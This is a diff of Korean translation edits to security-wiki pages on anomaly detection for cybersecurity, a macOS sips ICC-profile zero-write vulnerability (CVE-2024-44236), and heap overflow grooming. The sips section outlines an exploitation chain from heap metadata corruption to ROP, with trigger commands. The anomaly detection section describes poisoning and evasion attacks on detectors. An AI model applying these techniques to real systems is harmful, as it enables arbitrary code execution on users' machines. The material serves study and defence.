GMM은 공분산을 포함하는 K-평균의 일반화로, 클러스터가 타원형일 수 있습니다(구형에 국한되지 않음). 공분산이 완전할 경우 서로 다른 크기와 모양의 클러스터를 처리할 수 있습니다. 클러스터 경계가 모호할 때 소프트 클러스터링은 장점입니다 – 예를 들어, 사이버 보안에서 이벤트는 여러 공격 유형의 특성을 가질 수 있습니다; GMM은 확률로 그 불확실성을 반영할 수 있습니다. GMM은 또한 데이터의 확률 밀도 추정을 제공하여 이상값(모든 혼합 구성 요소 아래에서 낮은 우도를 가진 포인트)을 탐지하는 데 유용합니다.
|
||||
|
||||
단점으로는 GMM이 구성 요소 수 K를 지정해야 한다는 점이 있습니다(그러나 BIC/AIC와 같은 기준을 사용하여 선택할 수 있습니다). EM은 때때로 느리게 수렴하거나 지역 최적점에 수렴할 수 있으므로 초기화가 중요합니다(종종 EM을 여러 번 실행합니다). 데이터가 실제로 가우시안의 혼합을 따르지 않는 경우 모델이 잘 맞지 않을 수 있습니다. 하나의 가우시안이 단지 이상치를 덮기 위해 축소되는 위험도 있으며(정규화 또는 최소 공분산 경계로 완화할 수 있음).
|
||||
단점으로는 GMM이 구성 요소 K의 수를 지정해야 한다는 점이 있습니다(그러나 BIC/AIC와 같은 기준을 사용하여 선택할 수 있습니다). EM은 때때로 느리게 수렴하거나 지역 최적점에 수렴할 수 있으므로 초기화가 중요합니다(종종 EM을 여러 번 실행합니다). 데이터가 실제로 가우시안의 혼합을 따르지 않는 경우 모델이 부적합할 수 있습니다. 하나의 가우시안이 단지 이상값을 덮기 위해 축소되는 위험도 있으며(정규화 또는 최소 공분산 경계로 완화할 수 있음).
|
||||
|
||||
<details>
|
||||
<summary>예제 -- 소프트 클러스터링 및 이상 점수
|
||||
@ -292,13 +291,13 @@ print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
이상 탐지는 이러한 무작위 트리에서 각 점의 경로 길이를 관찰하여 수행됩니다. 즉, 점을 격리하는 데 필요한 분할 수입니다. 직관적으로, 이상치(이상값)는 무작위 분할이 희소 지역에 있는 이상치를 분리할 가능성이 더 높기 때문에 더 빨리 격리되는 경향이 있습니다. Isolation Forest는 모든 트리에서 평균 경로 길이를 기반으로 이상 점수를 계산합니다: 평균 경로가 짧을수록 → 더 이상적입니다. 점수는 일반적으로 [0,1]로 정규화되며, 1은 매우 가능성이 높은 이상치를 의미합니다.
|
||||
|
||||
> [!TIP]
|
||||
> *사이버 보안의 사용 사례:* Isolation Forest는 침입 탐지 및 사기 탐지에 성공적으로 사용되었습니다. 예를 들어, 정상 행동이 대부분인 네트워크 트래픽 로그에서 Isolation Forest를 훈련하면, 숲은 이상 트래픽(예: 들어본 적 없는 포트를 사용하는 IP 또는 비정상적인 패킷 크기 패턴)에 대해 짧은 경로를 생성하여 검사를 위해 플래그를 지정합니다. 레이블이 지정된 공격이 필요하지 않기 때문에 알려지지 않은 공격 유형을 탐지하는 데 적합합니다. 또한 사용자 로그인 데이터에 배포하여 계정 탈취를 탐지할 수 있습니다(이상적인 로그인 시간이나 위치가 빠르게 격리됨). 한 사용 사례에서는 Isolation Forest가 시스템 메트릭을 모니터링하고 메트릭 조합(CPU, 네트워크, 파일 변경)이 역사적 패턴과 매우 다르게 보일 때 경고를 생성하여 기업을 보호할 수 있습니다.
|
||||
> *사이버 보안의 사용 사례:* Isolation Forest는 침입 탐지 및 사기 탐지에 성공적으로 사용되었습니다. 예를 들어, 정상 행동이 대부분인 네트워크 트래픽 로그에서 Isolation Forest를 훈련하면, 숲은 이상 트래픽(예: 들어본 적 없는 포트를 사용하는 IP 또는 비정상적인 패킷 크기 패턴)에 대해 짧은 경로를 생성하여 검사를 위해 플래그를 지정합니다. 레이블이 지정된 공격이 필요하지 않기 때문에 알려지지 않은 공격 유형을 탐지하는 데 적합합니다. 또한 사용자 로그인 데이터에 배포하여 계정 탈취를 탐지할 수 있습니다(이상적인 로그인 시간이나 위치가 빠르게 격리됩니다). 한 사용 사례에서 Isolation Forest는 시스템 메트릭을 모니터링하고 메트릭 조합(CPU, 네트워크, 파일 변경)이 역사적 패턴과 매우 다르게 보일 때 경고를 생성하여 기업을 보호할 수 있습니다.
|
||||
|
||||
#### Assumptions and Limitations
|
||||
|
||||
**장점**: Isolation Forest는 분포 가정을 필요로 하지 않으며, 직접적으로 격리를 목표로 합니다. 고차원 데이터와 대규모 데이터셋에서 효율적입니다(숲을 구축하는 데 선형 복잡도 $O(n\log n)$). 각 트리는 오직 일부 특성과 분할로 점을 격리합니다. 숫자 특성을 잘 처리하는 경향이 있으며, $O(n^2)$일 수 있는 거리 기반 방법보다 더 빠를 수 있습니다. 또한 자동으로 이상 점수를 제공하므로 경고를 위한 임계값을 설정할 수 있습니다(또는 예상 이상 비율에 따라 자동으로 컷오프를 결정하기 위해 오염 매개변수를 사용할 수 있습니다).
|
||||
**장점**: Isolation Forest는 분포 가정을 필요로 하지 않으며, 격리를 직접 목표로 합니다. 고차원 데이터와 대규모 데이터셋에서 효율적이며(숲을 구축하는 데 선형 복잡도 $O(n\log n)$) 각 트리는 오직 일부 특성과 분할로 점을 격리합니다. 숫자 특성을 잘 처리하는 경향이 있으며, $O(n^2)$일 수 있는 거리 기반 방법보다 더 빠를 수 있습니다. 또한 자동으로 이상 점수를 제공하므로 경고를 위한 임계값을 설정할 수 있습니다(또는 예상 이상치 비율에 따라 자동으로 컷오프를 결정하기 위해 오염 매개변수를 사용할 수 있습니다).
|
||||
|
||||
**제한 사항**: 무작위 특성 때문에 결과는 실행 간에 약간 다를 수 있습니다(충분한 수의 트리가 있을 경우 이는 미미합니다). 데이터에 많은 관련 없는 특성이 있거나 이상치가 어떤 특성에서도 강하게 구별되지 않으면 격리가 효과적이지 않을 수 있습니다(무작위 분할이 우연히 정상 점을 격리할 수 있음 – 그러나 많은 트리를 평균화하면 이를 완화합니다). 또한, Isolation Forest는 일반적으로 이상치가 소수라는 것을 가정합니다(이는 사이버 보안 시나리오에서 일반적으로 사실입니다).
|
||||
**제한 사항**: 무작위 특성 때문에 결과는 실행 간에 약간 다를 수 있습니다(충분한 수의 트리가 있을 경우 이는 미미합니다). 데이터에 많은 관련 없는 특성이 있거나 이상치가 어떤 특성에서도 강하게 구별되지 않으면 격리가 효과적이지 않을 수 있습니다(무작위 분할이 우연히 정상 점을 격리할 수 있습니다. 그러나 많은 트리를 평균화하면 이를 완화합니다). 또한, Isolation Forest는 일반적으로 이상치가 소수라는 것을 가정합니다(이는 사이버 보안 시나리오에서 일반적으로 사실입니다).
|
||||
|
||||
<details>
|
||||
<summary>예제 -- 네트워크 로그에서 이상치 탐지
|
||||
@ -322,7 +321,7 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
```
|
||||
이 코드에서는 100개의 트리로 `IsolationForest`를 인스턴스화하고 `contamination=0.15`로 설정합니다(즉, 약 15%의 이상치를 예상하며, 모델은 ~15%의 포인트가 플래그가 지정되도록 점수 임계값을 설정합니다). 우리는 정상 포인트와 공격 포인트가 혼합된 `X_test_if`에 맞춥니다(참고: 일반적으로는 훈련 데이터에 맞춘 후 새로운 데이터에 대해 예측하지만, 여기서는 결과를 직접 관찰하기 위해 같은 세트에 맞추고 예측합니다).
|
||||
|
||||
출력은 첫 20 포인트에 대한 예측 레이블을 보여줍니다(-1은 이상치를 나타냅니다). 우리는 총 몇 개의 이상치가 감지되었는지와 몇 가지 예제 이상치 점수를 출력합니다. 우리는 120 포인트 중 약 18개가 -1로 레이블이 지정되기를 기대합니다(오염도가 15%였기 때문입니다). 우리의 20개 공격 샘플이 실제로 가장 외곽에 있다면, 그들 대부분은 -1 예측에 나타나야 합니다. 이상치 점수(Isolation Forest의 결정 함수)는 정상 포인트에 대해 더 높고 이상치에 대해 더 낮습니다(더 부정적) – 우리는 분리를 보기 위해 몇 가지 값을 출력합니다. 실제로는 데이터를 점수별로 정렬하여 상위 이상치를 보고 조사할 수 있습니다. 따라서 Isolation Forest는 대규모 비표시 보안 데이터를 효율적으로 선별하고 인간 분석이나 추가 자동 검토를 위해 가장 불규칙한 인스턴스를 선택하는 방법을 제공합니다.
|
||||
출력은 첫 20 포인트에 대한 예측 레이블을 보여줍니다(-1은 이상치를 나타냅니다). 우리는 총 몇 개의 이상치가 감지되었는지와 몇 가지 예제 이상치 점수를 출력합니다. 우리는 120 포인트 중 약 18개가 -1로 레이블이 지정될 것으로 예상합니다(오염도가 15%였기 때문입니다). 우리의 20개 공격 샘플이 실제로 가장 외곽에 있다면, 그들 대부분은 -1 예측에 나타나야 합니다. 이상치 점수(Isolation Forest의 결정 함수)는 정상 포인트에 대해 더 높고 이상치에 대해 더 낮습니다(더 부정적) – 우리는 분리를 보기 위해 몇 가지 값을 출력합니다. 실제로는 데이터를 점수별로 정렬하여 상위 이상치를 보고 조사할 수 있습니다. 따라서 Isolation Forest는 대규모 비표시 보안 데이터를 효율적으로 선별하고 인간 분석이나 추가 자동 검토를 위해 가장 불규칙한 인스턴스를 선택하는 방법을 제공합니다.
|
||||
|
||||
### t-SNE (t-분포 확률적 이웃 임베딩)
|
||||
|
||||
@ -341,9 +340,9 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
|
||||
#### 가정 및 한계
|
||||
|
||||
t-SNE는 패턴의 시각적 발견에 훌륭합니다. 이는 다른 선형 방법(PCA와 같은)으로는 드러나지 않을 수 있는 클러스터, 하위 클러스터 및 이상치를 드러낼 수 있습니다. 이는 맬웨어 행동 프로필이나 네트워크 트래픽 패턴과 같은 복잡한 데이터를 시각화하기 위해 사이버 보안 연구에 사용되었습니다. 지역 구조를 보존하기 때문에 자연스러운 그룹화를 보여주는 데 좋습니다.
|
||||
t-SNE는 패턴의 시각적 발견에 훌륭합니다. 이는 다른 선형 방법(PCA와 같은)으로는 드러나지 않을 수 있는 클러스터, 하위 클러스터 및 이상치를 드러낼 수 있습니다. 이는 맬웨어 행동 프로파일이나 네트워크 트래픽 패턴과 같은 복잡한 데이터를 시각화하기 위해 사이버 보안 연구에 사용되었습니다. 지역 구조를 보존하기 때문에 자연스러운 그룹화를 보여주는 데 좋습니다.
|
||||
|
||||
그러나 t-SNE는 계산적으로 더 무겁습니다(약 $O(n^2)$) 따라서 매우 큰 데이터 세트의 경우 샘플링이 필요할 수 있습니다. 또한 출력에 영향을 미칠 수 있는 하이퍼파라미터(혼란도, 학습률, 반복 횟수)가 있습니다 – 예를 들어, 서로 다른 혼란도 값은 서로 다른 스케일에서 클러스터를 드러낼 수 있습니다. t-SNE 플롯은 때때로 잘못 해석될 수 있습니다 – 맵의 거리는 전역적으로 직접적으로 의미가 없으며(지역 이웃에 초점을 맞추기 때문에, 때때로 클러스터가 인위적으로 잘 분리되어 보일 수 있습니다). 또한 t-SNE는 주로 시각화를 위한 것이며, 새로운 데이터 포인트를 직접적으로 투영하는 간단한 방법을 제공하지 않으며, 예측 모델링을 위한 전처리로 사용되도록 설계되지 않았습니다(UMAP은 이러한 문제를 더 빠른 속도로 해결하는 대안입니다).
|
||||
그러나 t-SNE는 계산적으로 더 무겁습니다(약 $O(n^2)$) 따라서 매우 큰 데이터 세트의 경우 샘플링이 필요할 수 있습니다. 또한 출력에 영향을 미칠 수 있는 하이퍼파라미터(혼란도, 학습률, 반복 횟수)가 있습니다 – 예를 들어, 서로 다른 혼란도 값은 서로 다른 스케일에서 클러스터를 드러낼 수 있습니다. t-SNE 플롯은 때때로 잘못 해석될 수 있습니다 – 맵의 거리들은 전역적으로 직접적으로 의미가 없으며(지역 이웃에 초점을 맞추기 때문에, 때때로 클러스터가 인위적으로 잘 분리되어 보일 수 있습니다). 또한 t-SNE는 주로 시각화를 위한 것이며, 새로운 데이터 포인트를 직접적으로 투영하는 간단한 방법을 제공하지 않으며, 예측 모델링을 위한 전처리로 사용되도록 설계되지 않았습니다(UMAP은 이러한 문제를 더 빠른 속도로 해결하는 대안입니다).
|
||||
|
||||
<details>
|
||||
<summary>예제 -- 네트워크 연결 시각화
|
||||
@ -432,7 +431,7 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
여기에서는 이전의 4D 정상 데이터셋과 극단적인 이상치 몇 개를 결합했습니다(이상치는 하나의 특성(“duration”)이 매우 높게 설정되어 있어 이상한 패턴을 시뮬레이션합니다). 우리는 일반적인 혼란도 30으로 t-SNE를 실행합니다. 출력 데이터 data_2d의 형태는 (1505, 2)입니다. 이 텍스트에서는 실제로 플롯을 그리지 않겠지만, 만약 그린다면 3개의 정상 클러스터에 해당하는 세 개의 밀집 클러스터와 그 클러스터에서 멀리 떨어진 고립된 점으로 나타나는 5개의 이상치를 볼 수 있을 것으로 예상합니다. 대화형 워크플로우에서는 레이블(정상 또는 어떤 클러스터, 대조적으로 이상치)에 따라 점의 색상을 지정하여 이 구조를 검증할 수 있습니다. 레이블이 없더라도 분석가는 2D 플롯에서 빈 공간에 있는 5개의 점을 발견하고 이를 표시할 수 있습니다. 이는 t-SNE가 사이버 보안 데이터에서 시각적 이상 탐지 및 클러스터 검사를 위한 강력한 도구가 될 수 있음을 보여주며, 위의 자동화된 알고리즘을 보완합니다.
|
||||
여기에서는 이전의 4D 정상 데이터셋과 극단적인 이상치 몇 개를 결합했습니다(이상치는 하나의 특성(“duration”)이 매우 높게 설정되어 있어 이상한 패턴을 시뮬레이션합니다). 우리는 일반적인 혼란도 30으로 t-SNE를 실행합니다. 출력 데이터 data_2d의 형태는 (1505, 2)입니다. 이 텍스트에서는 실제로 플롯을 그리지 않겠지만, 만약 그린다면 3개의 정상 클러스터에 해당하는 세 개의 밀집 클러스터와 그 클러스터에서 멀리 떨어진 고립된 점으로 나타나는 5개의 이상치를 볼 수 있을 것입니다. 인터랙티브 워크플로우에서는 레이블(정상 또는 어떤 클러스터, 대 이상치)에 따라 점의 색상을 지정하여 이 구조를 검증할 수 있습니다. 레이블이 없더라도 분석가는 2D 플롯에서 빈 공간에 있는 5개의 점을 발견하고 이를 표시할 수 있습니다. 이는 t-SNE가 사이버 보안 데이터에서 시각적 이상 탐지 및 클러스터 검사를 위한 강력한 도구가 될 수 있음을 보여주며, 위의 자동화된 알고리즘을 보완합니다.
|
||||
|
||||
</details>
|
||||
|
||||
@ -440,8 +439,8 @@ plt.show()
|
||||
|
||||
**HDBSCAN**은 단일 전역 `eps` 값을 선택할 필요를 없애고 밀도가 **다른 클러스터**를 복구할 수 있도록 밀도 연결 구성 요소의 계층을 구축한 다음 이를 응축하는 DBSCAN의 확장입니다. 일반적인 DBSCAN과 비교할 때 보통
|
||||
|
||||
* 일부 클러스터가 밀집하고 다른 클러스터가 희소할 때 더 직관적인 클러스터를 추출합니다.
|
||||
* 실제 하이퍼파라미터는 하나(`min_cluster_size`)만 있으며 합리적인 기본값이 있습니다.
|
||||
* 일부 클러스터가 밀집하고 다른 클러스터가 희박할 때 더 직관적인 클러스터를 추출합니다.
|
||||
* 하나의 실제 하이퍼파라미터(`min_cluster_size`)와 합리적인 기본값만 가집니다.
|
||||
* 모든 점에 클러스터 멤버십 *확률*과 **이상치 점수**(`outlier_scores_`)를 부여하여 위협 탐지 대시보드에 매우 유용합니다.
|
||||
|
||||
> [!TIP]
|
||||
@ -478,15 +477,15 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
### 강건성 및 보안 고려사항 – 오염 및 적대적 공격 (2023-2025)
|
||||
|
||||
최근 연구에 따르면 **비지도 학습자는 *적극적인 공격자*에 면역이 아니다**:
|
||||
최근 연구에 따르면 **비지도 학습자는 *적극적인 공격자*에 면역이 *아니다***:
|
||||
|
||||
* **이상 탐지기를 위한 데이터 오염.** Chen *et al.* (IEEE S&P 2024)은 3%의 조작된 트래픽만 추가해도 Isolation Forest와 ECOD의 결정 경계를 이동시켜 실제 공격이 정상으로 보이게 할 수 있음을 입증했습니다. 저자들은 오염 포인트를 자동으로 합성하는 오픈 소스 PoC(`udo-poison`)를 공개했습니다.
|
||||
* **클러스터링 모델의 백도어.** *BadCME* 기법 (BlackHat EU 2023)은 작은 트리거 패턴을 심어놓습니다; 그 트리거가 나타날 때마다 K-Means 기반 탐지기가 조용히 이벤트를 “양성” 클러스터 안에 배치합니다.
|
||||
* **DBSCAN/HDBSCAN 회피.** 2025년 KU Leuven의 학술 사전 인쇄물은 공격자가 밀도 간격에 의도적으로 들어가는 비콘 패턴을 조작할 수 있음을 보여주어 *노이즈* 레이블 안에 효과적으로 숨을 수 있음을 나타냈습니다.
|
||||
* **DBSCAN/HDBSCAN 회피.** 2025년 KU Leuven의 학술 사전 인쇄물은 공격자가 밀도 간격에 의도적으로 들어가는 비콘 패턴을 조작할 수 있음을 보여주어 *노이즈* 레이블 안에 효과적으로 숨을 수 있음을 나타냅니다.
|
||||
|
||||
주목받고 있는 완화책:
|
||||
|
||||
1. **모델 정화 / TRIM.** 매 재훈련 에포크 전에 1–2%의 손실이 가장 높은 포인트를 버려(최대 우도 정리) 오염을 극적으로 어렵게 만듭니다.
|
||||
1. **모델 정화 / TRIM.** 모든 재훈련 에포크 전에 1–2%의 손실이 가장 높은 포인트를 버려(트리밍된 최대 우도) 오염을 극적으로 어렵게 만듭니다.
|
||||
2. **합의 앙상블.** 여러 이질적인 탐지기(예: Isolation Forest + GMM + ECOD)를 결합하고 *어떤* 모델이 포인트를 플래그할 경우 경고를 발생시킵니다. 연구에 따르면 이는 공격자의 비용을 10배 이상 증가시킵니다.
|
||||
3. **클러스터링을 위한 거리 기반 방어.** `k`개의 서로 다른 랜덤 시드로 클러스터를 재계산하고 지속적으로 클러스터를 이동하는 포인트를 무시합니다.
|
||||
|
||||
@ -498,7 +497,7 @@ print("Suspect beacon count:", len(suspects))
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
* **Anomalib v1.5** (2025년 2월)은 비전에 중점을 두지만 일반적인 **PatchCore** 구현도 포함되어 있어 스크린샷 기반 피싱 페이지 탐지에 유용합니다.
|
||||
* **Anomalib v1.5** (2025년 2월)은 비전 중심이지만 스크린샷 기반 피싱 페이지 탐지를 위한 일반적인 **PatchCore** 구현도 포함하고 있습니다.
|
||||
* **scikit-learn 1.5** (2024년 11월)은 드디어 새로운 `cluster.HDBSCAN` 래퍼를 통해 *HDBSCAN*에 대한 `score_samples`를 노출하므로 Python 3.12에서 외부 기여 패키지가 필요하지 않습니다.
|
||||
|
||||
<details>
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 개요
|
||||
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICC 프로파일 파서에서 발생하는 **제로 쓰기** 취약점 (macOS 15.0.1, `sips-307`)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드 처리에 있습니다. 공격자가 `offsetToCLUT == tagDataSize`로 설정하면, 파서는 **힙 버퍼의 끝에서 16바이트를 지웁니다**. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 **임의 쓰기-실행** 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다.
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICC 프로파일 파서에서 발생하는 **제로 쓰기** 취약점 (macOS 15.0.1, `sips-307`)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드 처리에 있습니다. 공격자가 `offsetToCLUT == tagDataSize`로 설정하면, 파서는 **힙 버퍼 끝에서 16바이트를 지웁니다**. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 **임의 쓰기-실행** 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다.
|
||||
|
||||
> Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일에 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다.
|
||||
> Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다.
|
||||
|
||||
## 취약한 코드
|
||||
```c
|
||||
@ -25,7 +25,7 @@ buffer[i] = 0; // no bounds check vs allocated size!
|
||||
* 태그 테이블을 구성하여 **`offsetToCLUT`가 태그 크기(`tagDataSize`)와 같도록** 합니다.
|
||||
* 태그 바로 뒤에 공격자가 제어하는 데이터를 배치하여 16개의 제로 쓰기가 할당자 메타데이터와 겹치도록 합니다.
|
||||
|
||||
2. **프로파일을 건드리는 모든 sips 작업으로 파싱 트리거하기**
|
||||
2. **프로파일에 영향을 주는 sips 작업으로 파싱 트리거하기**
|
||||
|
||||
```bash
|
||||
# 검증 경로 (출력 파일 필요 없음)
|
||||
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **힙 메타데이터 손상 ➜ 임의 쓰기 ➜ ROP**
|
||||
Apple의 기본 **`nano_zone` 할당자**에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 **바로 뒤에** 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가 `meta->slot_B`를 덮어씁니다. 이후 `free`가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 **임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게** 하며, 결국 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다.
|
||||
Apple의 기본 **`nano_zone` 할당자**에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 바로 **뒤에** 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가 `meta->slot_B`를 덮어씁니다. 이후 `free`가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 **임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게** 하며, 마지막으로 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다.
|
||||
|
||||
### 빠른 PoC 생성기 (Python 3)
|
||||
```python
|
||||
@ -77,7 +77,7 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
```
|
||||
## Impact
|
||||
|
||||
조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 **임의 코드 실행**이 발생하며(미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 무해한 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다.
|
||||
조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 **임의 코드 실행**이 발생하며 (미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다.
|
||||
|
||||
## Detection & Mitigation
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/index.html)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 크다는 것을 의미합니다.**
|
||||
|
||||
스택 오버플로우에서는 명령 포인터나 스택 프레임과 같은 일부 레지스터가 스택에서 복원될 것이며 이를 악용할 수 있는 가능성이 있습니다. 힙 오버플로우의 경우, **기본적으로 힙 청크에 민감한 정보가 저장되지 않습니다.** 그러나 민감한 정보나 포인터일 수 있으므로, 이 취약점의 **중요성**은 **어떤 데이터가 덮어씌워질 수 있는지**와 공격자가 이를 어떻게 악용할 수 있는지에 따라 **달라집니다.**
|
||||
스택 오버플로우에서는 명령 포인터나 스택 프레임과 같은 일부 레지스터가 스택에서 복원될 것이며 이를 악용할 수 있는 가능성이 있습니다. 힙 오버플로우의 경우, **기본적으로 힙 청크에 저장된 민감한 정보는 없습니다**. 그러나 민감한 정보나 포인터일 수 있으므로, 이 취약점의 **중요성**은 **어떤 데이터가 덮어씌워질 수 있는지**와 공격자가 이를 어떻게 악용할 수 있는지에 따라 **달라집니다**.
|
||||
|
||||
> [!TIP]
|
||||
> 오버플로우 오프셋을 찾기 위해 [**스택 오버플로우**](../stack-overflow/index.html#finding-stack-overflows-offsets)와 동일한 패턴을 사용할 수 있습니다.
|
||||
@ -15,19 +15,19 @@
|
||||
|
||||
스택 오버플로우에서는 취약점이 발생할 때 스택에 존재할 데이터와 배열이 상당히 신뢰할 수 있습니다. 이는 스택이 선형적이며, 항상 충돌하는 메모리에서 증가하고, **프로그램 실행의 특정 위치에서 스택 메모리는 보통 유사한 종류의 데이터를 저장하며** 각 함수에서 사용되는 스택 부분의 끝에 특정 구조와 포인터가 있기 때문입니다.
|
||||
|
||||
그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **크기별로 할당을 구분하는 빈과 영역** 때문에 그리고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **힙 오버플로우에 취약한 객체와 충돌할 객체를 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우될 수 있는 객체와 메모리에서 다음에 올 객체를 만들기 위한 신뢰할 수 있는 방법을 찾아야 합니다.**
|
||||
그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **크기별로 할당을 구분하는 빈과 존** 때문에 그리고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **힙 오버플로우에 취약한 객체와 충돌할 객체를 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우될 수 있는 객체와 메모리에서 다음에 올 객체를 만들기 위한 신뢰할 수 있는 방법을 찾아야 합니다.**
|
||||
|
||||
이를 위해 사용되는 기술 중 하나는 **힙 그루밍**입니다. 예를 들어 [**이 포스트**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 설명됩니다. 이 포스트에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용된다고 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다).
|
||||
이러한 방법 중 하나는 **힙 그루밍**으로, 예를 들어 [**이 포스트**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 사용됩니다. 이 포스트에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용되는 방법을 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다).
|
||||
|
||||
따라서 힙 오버플로우가 발생하는 이전 포스트에서는, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.**
|
||||
|
||||
특정 크기의 객체로 이 채우기를 강제하기 위해, **iOS 맥 포트와 관련된 아웃 오브 라인 할당**이 이상적인 후보입니다. 메시지의 크기를 조정함으로써 `kalloc` 할당의 크기를 정확히 지정할 수 있으며, 해당 맥 포트가 파괴되면 해당 할당이 즉시 `kfree`로 반환됩니다.
|
||||
|
||||
그런 다음 이러한 자리 표시자 중 일부를 **해제**할 수 있습니다. **`kalloc.4096` 무료 목록은 후입선출 방식으로 요소를 해제합니다.** 이는 기본적으로 일부 자리 표시자가 해제되고 익스플로잇이 오버플로우에 취약한 객체를 할당하려고 할 때, 이 객체가 피해자 객체 뒤에 올 가능성이 높다는 것을 의미합니다.
|
||||
그런 다음 이러한 자리 표시자 중 일부를 **해제**할 수 있습니다. **`kalloc.4096` 무료 목록은 후입선출 방식으로 요소를 해제합니다**, 이는 기본적으로 일부 자리 표시자가 해제되고 익스플로잇이 오버플로우에 취약한 객체를 할당하려고 할 때, 이 객체가 피해자 객체 뒤에 올 가능성이 높다는 것을 의미합니다.
|
||||
|
||||
### 예제 libc
|
||||
|
||||
[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev size의 위치를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용된 청크를 통합**(사용되지 않은 것으로 착각하게 만듦)하고 **다시 할당하여 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.**
|
||||
[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev size의 위치를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용 중인 청크를 통합**(사용되지 않는 것처럼 보이게 함)하고 **다시 할당하여 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.**
|
||||
|
||||
